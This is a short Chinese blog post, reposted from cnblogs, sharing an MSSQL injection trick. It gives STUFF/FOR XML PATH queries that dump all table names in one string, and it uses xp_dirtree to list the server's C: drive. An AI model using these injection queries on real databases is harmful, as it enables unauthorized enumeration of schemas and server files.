SQL注入小技巧
平時手工MSSQL注入的時候如果不能反彈寫入,那么大多數都是把記錄一條一條讀出來,這樣太累了,這里給出1條語句,有興趣的朋友可以試試,類似MYSQL的group_concat !效果還是不錯的!
測試1:
SELECT top 1 name=STUFF((SELECT ','+[name] FROM sysobjects t? where xtype='U' FOR XML PATH('')), 1, 1, '') FROM sysobjects t1
測試2:
create table dirs(paths varchar(100),paths1 varchar(100), id int)
delete dirs;insert dirs exec master.dbo.xp_dirtree 'c:\',1,1--
SELECT top 1 paths=STUFF((SELECT ','+[paths] FROM dirs FOR XML PATH('')), 1, 1, '') FROM dirs t1
轉載于:https://www.cnblogs.com/amwld/archive/2011/04/19/2020417.html
與50位技術專家面對面20年技術見證,附贈技術全景圖總結
- 上一篇: Javascript中call的使用
- 下一篇: SQL Server中一些常见的性能问题